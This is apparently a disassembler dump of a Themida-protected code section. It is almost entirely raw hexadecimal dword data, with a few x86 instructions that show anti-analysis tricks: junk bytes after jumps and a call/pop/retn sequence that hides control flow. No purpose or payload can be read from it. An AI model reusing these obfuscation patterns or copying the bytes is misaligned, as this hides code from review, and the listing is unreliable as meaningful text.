dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 35453BF8h
dd 2F20D759h, 6FE082BFh, 6A9057h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 2E3D3FC3h, 0E8292E83h
dd 7E95Ch, 1EF30000h, 63B314B0h, 0CE991h, 0D79C0000h, 3D91358Dh
dd 74048140h, 6A853Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 170424h, 56460000h, 0C4DD67C3h, 8D096015h, 6102995h
dd 2F39BD01h, 8B610610h, 0D6B460F9h, 0DB58960h, 0E9061028h
dd 0Ch, 0D586D9E0h, 0DEF1F1DAh, 0D8849313h, 11DD8D8Bh
dd 81610610h, 4534DBDFh, 6A610Ah, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 97BC23C3h, 298D8904h
dd 66061019h, 0E85B70BEh, 0Dh, 0E3B63133h, 9EEA1618h, 0D9AAA83Fh
dd 9D952948h, 89061007h, 101659BDh, 6A5E06h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8E9E3C3h
dd 71000000h, 6DDC97Eh, 8B46E8E3h, 13E9FAh, 43F20000h
dd 7E27A3FAh, 2E300A7h, 0E5054333h, 0BD7C795Dh, 1D9589EFh
dd 0E9061028h, 0FFFFF779h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Dh, 0A2C35545h, 26E484CFh, 40AA2950h, 81BD2974h
dd 8B06101Eh, 57006AC1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1C04h, 0C3574700h, 2816D6C6h, 4296C2F9h, 10E88Fh, 5D100000h
dd 0D1524EF6h, 779CD725h, 50452C70h, 0DE8168FEh, 3996A8EAh
dd 4EB5Fh, 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 17042444h, 42000000h, 18AFC352h, 5F507142h, 1F1D9D89h
dd 858D0610h, 61013B9h, 7E8h, 0EF60C600h, 2A680066h, 11E8h
dd 8B6A4A00h, 0F6C4A889h, 0E8465B27h, 0C5FEF7B3h, 0B589678Ch
dd 6100925h, 13E95F5Fh, 43000000h, 5C881676h, 5C2F9C2Fh
dd 903DE104h, 0EB6C86EEh, 6690F4BDh, 5050FB8Bh, 0AE852h
dd 4DC40000h, 0C232C59Ch, 0E85B8161h, 0E3F827BEh, 310F5F79h
dd 6A90585Ah, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 15042444h, 43000000h, 2986C353h, 227DBD01h, 6A0610h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 3EC35242h
dd 168D3EF5h, 6585B015h, 81BD8B2Ch, 6A06102Eh, 0F1D4BE00h
dd 858D756Ah, 61427DAh, 31744CBFh, 5C08327h, 840F5090h
dd 3, 90FA8B66h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 17h, 39C35242h, 6A2AFC8Fh, 5EF55600h, 0E681006Ah, 8AB0715h
dd 2A8DBD09h, 95FF0610h, 6101D19h, 1B75B529h, 9D8D0610h
dd 613AFD8h, 12658531h, 0D3FF0610h, 0B70F5653h, 0FF5E5FF8h
dd 10141985h, 813E906h, 0E80000h, 5D000000h, 27E4ED81h
dd 0B70F0614h, 0B19531FEh, 81061001h, 100055BDh, 7D006h
dd 2B860F00h, 6A000001h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1D042444h, 46000000h, 4773C356h, 0CB53AF02h
dd 0D90C0939h, 0F9DE8166h, 7D9D8B94h, 29061029h, 101B1D8Dh
dd 0E38106h, 66000001h, 0DB0BFB8Bh, 9D850Fh, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
dd 0BD8BFDC3h, 6102815h, 83FB8B66h, 14267CBDh, 840F0006h
dd 38h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh
dd 67C35545h, 0C9EEBDF5h, 0E98F8CEDh, 51h, 0BE9h, 85562400h
dd 3886B28Bh, 0EEF56EEFh, 267C85C7h, 10614h, 0B58B0000h
dd 6101481h, 2CE9h, 9D896000h, 610309Dh, 11E9h, 2018FD00h
dd 0B6D40AA6h, 324B2D08h, 65116F18h, 0C7618330h, 14267C85h
dd 6, 70BF6600h, 7D9D8DEEh, 81061029h, 0CB7286DFh, 0FF238145h
dd 6AFFFFFEh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1C042444h, 43000000h, 0F142C353h, 8D34AD49h, 0F7D4724h
dd 8C66F9BFh, 55006ADBh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1C04h, 0C3554500h, 51D5F790h, 157C1134h, 0B260521Eh
dd 61E18ABEh, 0FDBD8B5Fh, 0F606102Ah, 840F04C3h, 72h, 0DC995FFh
dd 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
dd 53430000h, 2EBAFCC3h, 880E05C2h, 8D8960A4h, 6100B8Dh
dd 6D56EF81h, 90610135h, 5350F78Bh, 6A905Eh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0E96030C3h
dd 0Fh, 0F22DF9DDh, 249CB630h, 0A84B5B4h, 0B310B0DAh, 0DE9610Fh
dd 6A000004h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1D042444h, 40000000h, 1E95C350h, 0B5059322h, 0F0F9966Bh
dd 108D8529h, 0B00610h, 5359D01h, 70E60610h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0EAC35242h, 82BF9946h
dd 2B34F3F2h, 10087DB5h, 5271E406h, 1695BD8Bh, 665F0610h
dd 0F71F3BFh, 6AD8B6h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1A0424h, 56460000h, 7DF31C3h, 0F3969E9h, 6BAh, 0E9C38B00h
dd 9, 541B94D6h, 298F0C97h, 4E8C17Fh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 0DEC35343h, 0FDB58BA1h, 0F061001h
dd 38Dh, 0F0B70F00h, 6AE2F766h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1C042444h, 40000000h, 9719C350h, 11DDA27Bh
dd 8964126Bh, 10142D8Dh, 6AD82B06h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 41FAC352h
dd 19878115h, 3BE8838h, 5069DCD4h, 11E9h, 9310C100h, 4074A9F3h
dd 0E4351E5Eh, 0EA385BF1h, 1C890AA0h, 52006A24h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 209A1BB2h, 66B151C8h, 4D5FEF81h, 0FFFFB70Fh, 100055B5h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h
dd 0C3514100h, 87073DAh, 850F89D7h, 1, 0C995FFF9h, 6A061031h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h
dd 45000000h, 9188C355h, 0B5332F1Ah, 6100805h, 1FF1BD89h
dd 0B00610h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 18h, 9C35545h, 99CB7383h, 11E9h, 378A7200h, 93EB3A99h
dd 0DDD2343Ch, 0C0A36D01h, 70E62039h, 0A122BE66h, 6A71E4h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 0BF804AC3h, 0F90882E8h, 613C4AE2h, 1D2830Fh, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
dd 0E97BB4C3h, 3C2D0B45h, 66D8B60Fh, 0C45DF81h, 6BAh, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
dd 0D9792071h, 0F69B58Bh, 0C38B0610h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 0D0C35242h, 0AEB82D8Fh, 54BE6607h
dd 4E8C101h, 29B9B58Bh, 0F7660610h, 5CBF66E2h, 59BD0B94h
dd 2B061021h, 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1C04h, 0C3534300h, 0D4807909h, 0EFFDCD74h, 9D95895Dh
dd 58061008h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 17h, 1C35040h, 2BEAD191h, 0ED880FD8h, 8B000000h, 1011DDBDh
dd 7B906h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 0AE88C8C3h, 0AC8F6917h, 0CE9A5h
dd 0CB490000h, 0F12DFE8Fh, 7ED09C22h, 5BBF061Ah, 8355A657h
dd 8B6600C1h, 0FD93BF8h, 9B86h, 21B58B00h, 6606101Eh, 0CE9D98Ch
dd 59000000h, 0BE7A2DB1h, 0EC2CA9FBh, 0F62D593Bh, 840F04C1h
dd 55h, 7A64BF66h, 95FF5F52h, 6100DC9h, 3DECBE66h, 0F781665Bh
dd 81667B1Ah, 2BED8FD7h, 50006AC3h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 0E72A8FB7h, 4F0CD715h
dd 8343Dh, 0A860F00h, 0E9000000h, 28h, 0F1B70F57h, 6AC08B5Eh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h
dd 43000000h, 66A8C353h, 3E86F681h, 0D88BC38Bh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 36C35343h, 20169E43h
dd 85C74974h, 6100041h, 521E0B13h, 0EDD8509h, 8D0F0610h
dd 6, 8952CE81h, 0C08B781Ch, 6840Fh, 85010000h, 6101395h
dd 55BD81h, 7D00610h, 850F0000h, 2Ah, 5585FFh, 6A0610h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 7C2C59C3h, 3ECDC766h, 0B5FFD995h, 6100055h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 19h, 89C35040h, 5C556B62h
dd 0C995FF6Ah, 89061031h, 1029E995h, 8B669006h, 58BE66F3h
dd 5D8D8925h, 8B061013h, 101E71BDh, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0E96ED1ADh
dd 0Ch, 8F330EBEh, 0FAEC5DD6h, 28C1A416h, 6AFB8Bh, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 0A6F984C3h, 0DB640941h, 81664AD2h, 946BEEEh, 10117595h
dd 0FEBF0F06h, 1715B531h, 8E0F0610h, 9, 2D219D89h, 8B660610h
dd 5860FFBh, 0BF000000h, 79151FB9h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 14h, 0FAC35747h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 16h, 64C35141h, 6060B220h
dd 0B2EA8166h, 0F18D8BC4h, 5706100Bh, 0EDB86659h, 880F61CEh
dd 3, 8ACEB70Fh, 9D8961F1h, 6101BD5h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Dh, 89C35747h, 2B551838h, 395BE0C9h
dd 0DE9F9h, 0BF610000h, 8DC2E6C3h, 940550F2h, 8961BE40h
dd 101D518Dh, 0F7F8E906h, 7BFFFFFh, 8B213245h, 10126DB5h
dd 6A6006h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 973AFDC3h, 38C3B962h, 16C1B531h, 0FEB90610h
dd 6AFFFFFFh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1A042444h, 43000000h, 333C353h, 86EAEE2Ch, 0DE8120h
dd 2139EBD8h, 1005298Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h, 0C3554500h, 87DFB1FBh, 818D21D7h
dd 6A061023h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1C042444h, 46000000h, 68F4C356h, 54DD37AEh, 0BB2F44A1h
dd 752DA2DEh, 1E718589h, 8D8B0610h, 6100529h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0F1C35343h, 2F1FCF63h
dd 8B506959h, 101DA985h, 0E1835B06h, 41850F01h, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h
dd 42000000h, 0C7DAC352h, 0BC2554F1h, 1606931h, 101DFD9Dh
dd 11E906h, 0F7170000h, 52BB6052h, 0CD20453Ch, 3EDEC2F1h
dd 61C71EA0h, 23818D8Bh, 6A0610h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 140424h, 50400000h, 0E183CBC3h, 27850F01h
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 19042444h, 42000000h, 0F051C352h, 0C50CD5A8h, 29BBF081h
dd 60617F95h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 16h, 0E6C35646h, 8F0F658Bh, 0
; ---------------------------------------------------------------------------
mov ecx, 0FFFFFFFEh
jmp loc_58E60F
; ---------------------------------------------------------------------------
mov esi, 743F1A81h
loc_58E60F: ; CODE XREF: Themida_:0058E605j
mov [ebp+61010E1h], esi
and [ebp+6102801h], ecx
jmp loc_58E62B
; ---------------------------------------------------------------------------
pop esi
adc al, 71h
cmp [edi-48h], eax
push 0D0A33DF2h
loc_58E62B: ; CODE XREF: Themida_:0058E61Bj
and [ebp+6102AB1h], ecx
push 0
push ebp
call sub_58E63C
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58E63C proc near ; CODE XREF: Themida_:0058E634p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_58E63C endp
; ---------------------------------------------------------------------------
dd 93AEEC11h, 21BD8971h, 8B06102Ah, 1028018Dh, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
dd 61958B17h, 8306101Ch, 850F01E1h, 2Ah, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 18h, 5EC35747h, 0B738FEA0h
dd 860FFA8Ah, 2, 8D8BFE8Bh, 6102AB1h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 56C35242h, 0DA96EADEh, 79B58B74h
dd 83061021h, 850F01E1h, 24h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 14h, 0AFC35343h, 11A1B589h, 0C38B0610h
dd 0FEB96061h, 6AFFFFFFh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 16042444h, 47000000h, 369BC357h, 7D8D2196h
dd 0E9061029h, 0Eh, 0B619FD3Fh, 78C72B3Bh, 63606A91h, 8D21B66Ch
dd 6102875h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 15h, 26C35646h, 9EEA81D3h, 8B16731Eh, 10297D8Dh, 6E906h
dd 997E0000h, 3B49B763h, 0F01E183h, 2485h, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 890F2C2Ch, 1, 758D8BF8h, 6A061028h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0FAE2C352h
dd 8B67172Ch, 10E18D89h, 0E1830610h, 1F850F01h, 57000000h
dd 178A0Fh, 11E80000h, 0A7000000h, 0FD0EA0CEh, 902B5612h
dd 48D0B60Ch, 882EA02Eh, 60615A5Ah, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Bh, 0ABC35141h, 8E9666EDh, 0B9F3D589h
dd 0FFFFFFFEh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Dh, 0B2C35040h, 19A4EEDEh, 89E6C86Fh, 0A58D21FDh, 6A06100Bh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h
dd 47000000h, 969DC357h, 0CC3466ABh, 21208ECFh, 1000418Dh
dd 0A58D8B06h, 8306100Bh, 850F01E1h, 0Ch, 1915B533h, 0B5090610h
dd 610161Dh, 418D8Bh, 6A0610h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 6A2910C3h, 0E183FC68h
dd 2850F01h, 0B4000000h, 6A60618Bh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0CEF2C357h
dd 8E96A45h, 2D000000h, 0AD730D34h, 8B073306h, 10191D8Dh
dd 5585C706h, 0D0061000h, 6A000007h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 237C356h
dd 55AA2C3Fh, 57006A61h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1D04h, 0C3574700h, 4A0078F0h, 0E69B8086h, 0B70FD7AAh
dd 6107EBF0h, 0E99Dh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 16C279C3h, 22D0307Ch
dd 6ACAAE05h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 17042444h, 45000000h, 7FD5C355h, 9D89573Eh, 61021B1h
dd 68D0Fh, 0B5310000h, 610284Dh, 6060C18Bh, 0C6816653h
dd 0F5EA0AEh, 488h, 0FBBB6600h, 0C08B6137h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 60C35343h, 11E8DAh
dd 0C2E0000h, 0CBC00574h, 151E3E94h, 9C04E968h, 0FBD55D2h
dd 185h, 835EF800h, 10158DBDh, 9750006h, 95BD83h, 74000610h
dd 8B535019h, 438B8C0h, 85890000h, 6100E65h, 0B8159D8Dh
dd 0D3FF0612h, 0BD83585Bh, 6100095h, 50177400h, 438B853h
dd 85890000h, 6100E65h, 0B5049D8Dh, 0D3FF0612h, 6A585Bh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 5FECD0C3h, 4BB3DC9Ah, 0E952A808h, 0Ah, 6AD23B0Fh, 0B20417A3h
dd 6A5EF3B9h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1C042444h, 47000000h, 0E93BC357h, 0F9EA2305h, 8BF2861Ch
dd 81BD89C0h, 0E806102Fh, 844h, 89CBBF0Fh, 10282185h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 0B491BAA1h, 0CF8166E0h, 66601971h, 0B953C38Bh, 0E6ED47Fh
dd 5E86159h, 89000008h, 102ED995h, 8589FC06h, 61030C5h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0ADC35646h
dd 0F180BFD5h, 7D2E8BFh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1C0424h, 56460000h, 295E25C3h, 2DD16AB8h
dd 8589531Ah, 6101211h, 13E8h, 0A859F00h, 0F64B81F1h, 6129093Ch
dd 44A0E49Eh, 89E25E7Ch, 29618D89h, 8B590610h, 782E8F1h
dd 870F0000h, 17h, 9E860h, 0D6E40000h, 54A4914h, 587E11C6h
dd 86D958Bh, 89610610h, 1011ED85h, 0E8CB8A06h, 758h, 1EC58D8Bh
dd 85890610h, 6100BB9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ch, 0FDC35747h, 0B962973Ah, 6A0238C3h, 723E8h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h
dd 0C3504000h, 25B537F6h, 0B70EC33h, 2D8589AEh, 6A061023h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 0D28FC356h, 57095296h, 0D1E80642h, 6A000006h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h
dd 42000000h, 8B33C352h, 1012E58Dh, 0CD858906h, 3061000h
dd 100D9DB5h, 69EE806h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1D0424h, 52420000h, 0D14238C3h, 65F51FB5h
dd 89D67D9Ch, 1004E985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1B04h, 0C3524200h, 1FC84E4Ch, 0EDF0BCAEh
dd 64BE8h, 0F0BF0F00h, 1D898589h, 6A0610h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 77E055C3h
dd 6ED1ADD4h, 0CABF0F07h, 617E8h, 8589F500h, 6102ED5h
dd 1C618D33h, 0B70F0610h, 602E8CBh, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0E96D91C3h
dd 14h, 6DAB73E3h, 0BF54C3B5h, 0AD58DF9Ch, 181CEB4Dh, 0AEF3A229h
dd 8589CF8Bh, 6101F51h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 16h, 0F3C35141h, 0E98147BCh, 7F3CB052h, 59BE8h
dd 89CF8B00h, 10060595h, 25858906h, 6A06101Bh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
dd 9A7DC351h, 564207F2h, 0D59589DBh, 0E806102Ah, 560h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 4C35141h
dd 150533ECh, 8533606Dh, 610136Dh, 89610FB1h, 100EA585h
dd 29E8FC06h, 6A000005h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 807DC352h, 0BE50FC28h
dd 2CD4285Dh, 0A185895Fh, 0F061008h, 0F5E8F9BFh, 6A000004h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h
dd 40000000h, 8A7AC350h, 3A6CC78Fh, 8D8BE440h, 6101D05h
dd 8658589h, 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 190424h, 53430000h, 8D17A2C3h, 805A4BF5h, 9DE801C1h
dd 6A000004h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 0FD53C355h, 8962C745h, 0CD1A7F11h
dd 81666060h, 8B4785CAh, 100CA9B5h, 0B58B6106h, 6102109h
dd 5820F61h, 0B9000000h, 43DA9E39h, 4A58589h, 8D010610h
dd 6103035h, 6A00B0h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 170424h, 56460000h, 28A8CDC3h, 0D810FABh, 60000000h
dd 0E7C819B9h, 0D98D8B67h, 6106101Fh, 0D8B60FFCh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0B6C35545h, 326E97Ah
dd 950957B1h, 6100A55h, 6BAh, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0E3278E4Ch
dd 8BF8FB9Bh, 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1404h, 0C3554500h, 10E94Eh, 70700000h, 4FE7344Fh, 1CA4C3C5h
dd 199EFC43h, 0E8C19991h, 0BE804h, 62590000h, 727DE0DBh
dd 452EC731h, 11E88Ah, 41710000h, 8320DBA2h, 0BAE34B8h
dd 0F078C05Ch, 596B4509h, 0E2F76659h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 14h, 75C35545h, 6890Fh, 0BD8B0000h
dd 6101B71h, 1DCE8166h, 58A0FF6h, 66000000h, 0C9D8E981h
dd 0BF0FD82Bh, 506050CEh, 0F5CB452h, 4FBA6631h, 60585A77h
dd 0DE9h, 0B6A15600h, 83D55993h, 6FD9AB5Fh, 61613C08h
dd 81241C89h, 54C177E6h, 0C995FF63h, 8906100Dh, 10303595h
dd 6E95B06h, 0E4000000h, 3E41353Dh, 0B5958D21h, 6A061016h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h
dd 40000000h, 12C350h, 5DB22064h, 7281E650h, 8E9h, 0B97C9500h
dd 861363D5h, 6A1A89FFh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1C042444h, 45000000h, 0FBF6C355h, 62BD21A1h
dd 2B249A97h, 102FE18Dh, 4428906h, 68B0Fh, 8D8B0000h, 6101101h
dd 20A1958Dh, 1A890610h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 16h, 4C35040h, 8E80E7Dh, 5B000000h, 0B58ECAD2h
dd 0FE575A6h, 8B59FFB7h, 101AC5B5h, 4428906h, 22858D8Bh
dd 958D0610h, 6102D89h, 0BE9h, 0F1C57500h, 8C385D4Ah, 0D8E3F668h
dd 0BE661A89h, 428902B1h, 56006A04h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 8B669125h
dd 5958DF0h, 52061001h, 20E1B58Bh, 895E0610h, 56006A1Ah
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 0A3D09778h, 0A17E19B5h, 6A044289h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 15042444h, 40000000h, 1A4BC350h
dd 2E018D89h, 958D0610h, 61010B5h, 0E35BD89h, 1A890610h
dd 2DC5BD8Bh, 42890610h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1504h, 0C3534300h, 14E9D252h, 5E000000h
dd 824AB473h, 9E79EA2h, 0AE23992h, 29F53BC8h, 8DE95485h
dd 10098995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1604h, 0C3514100h, 0E9902775h, 9, 0C1043C83h, 0E523CE08h
dd 6A1A89ABh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 16042444h, 40000000h, 0B78EC350h, 0BABF668Ah, 44289BEh
dd 13E9FCh, 583F0000h, 7F98808Dh, 3AE8C79Bh, 0FAB6A6D4h
dd 0ED3571D8h, 49958D40h, 6A06102Dh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 727DC351h
dd 452EC731h, 31E6C08Ah, 1028458Dh, 6A1A8906h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 2DDBC355h, 0C6E4244Ch, 0B58BB112h, 6102825h, 66044289h
dd 5BD3F781h, 69958Dh, 8E90610h, 9C000000h, 6CC9DF93h
dd 89FCF4F4h, 56006A1Ah, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1C04h, 0C3564600h, 6D8621A8h, 735DE762h, 1DD180FDh
dd 8B044289h, 1007298Dh, 11DE906h, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0B65D50C3h
dd 0E52F9B27h, 0FB8B693Fh, 6A006Ah, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0BD8B01C3h
dd 6100661h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
dd 190424h, 50400000h, 66194DC3h, 8146DE1Ah, 0A0DD3EC1h
dd 6A006A25h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 3EEFC352h, 0FD055C7h, 0BD23C8BFh
dd 61000E9h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1B0424h, 56460000h, 112B5DC3h, 6A935929h, 0CFBF0F3Ah
dd 2EC995FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1D0424h, 51410000h, 53277EC3h, 53B5FD83h, 0C3F494A9h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 75C35040h
dd 0BD8B6046h, 6101D21h, 595BD29h, 8A610610h, 53006AC5h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 0F781E5F1h, 66256F0Ch, 3BFFF181h, 6E860h, 5FB50000h
dd 0B4BCD2EDh, 6D01E281h, 0F5E4349h, 68Eh, 81BD8B00h, 61061021h
dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
dd 50400000h, 0AFACB9C3h, 8DBD835Dh, 61015h, 0BD830975h
dd 6100095h, 50197400h, 0B8C08B53h, 438h, 132D8589h, 9D8D0610h
dd 612B87Ch, 585BD3FFh, 95BD83h, 74000610h, 0B8535017h
dd 438h, 132D8589h, 9D8D0610h, 612B51Dh, 585BD3FFh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 9EC35646h, 89D7D840h
dd 1029A9BDh, 66FC6006h, 70B7F181h, 0B5295761h, 61015C1h
dd 8DC08B5Eh, 1013B985h, 9E806h, 9AB00000h, 0A480A937h
dd 66A2513Bh, 5F6317BFh, 8950DE8Bh, 6A2404h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 190424h, 50400000h, 39DCFC3h
dd 6646D676h, 6A8888BBh, 81BD8B00h, 0E906100Bh, 0Dh, 0A19FAA3Eh
dd 59E41Dh, 0ED5502A5h, 60006A60h, 0BE9h, 2C31A900h, 0B97A994h
dd 620BE457h, 0AE9h, 8D1E6600h, 0CC306876h, 61EE3B8Bh
dd 858D85B3h, 61442BDh, 83FBB70Fh, 6A05C0h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 180424h, 50400000h, 0E989AAC3h
dd 815773ABh, 556A68D3h, 3605F4Ah, 10278185h, 0F9858906h
dd 61061018h, 8B666090h, 54DCBFF8h, 50616188h, 0DE8h, 6249DC00h
dd 5EDF72ABh, 0F2CF00E3h, 11E9EC2Ah, 2D000000h, 81810707h
dd 0E0FD647Bh, 0F1E8A44Fh, 730BE397h, 6A905Fh, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
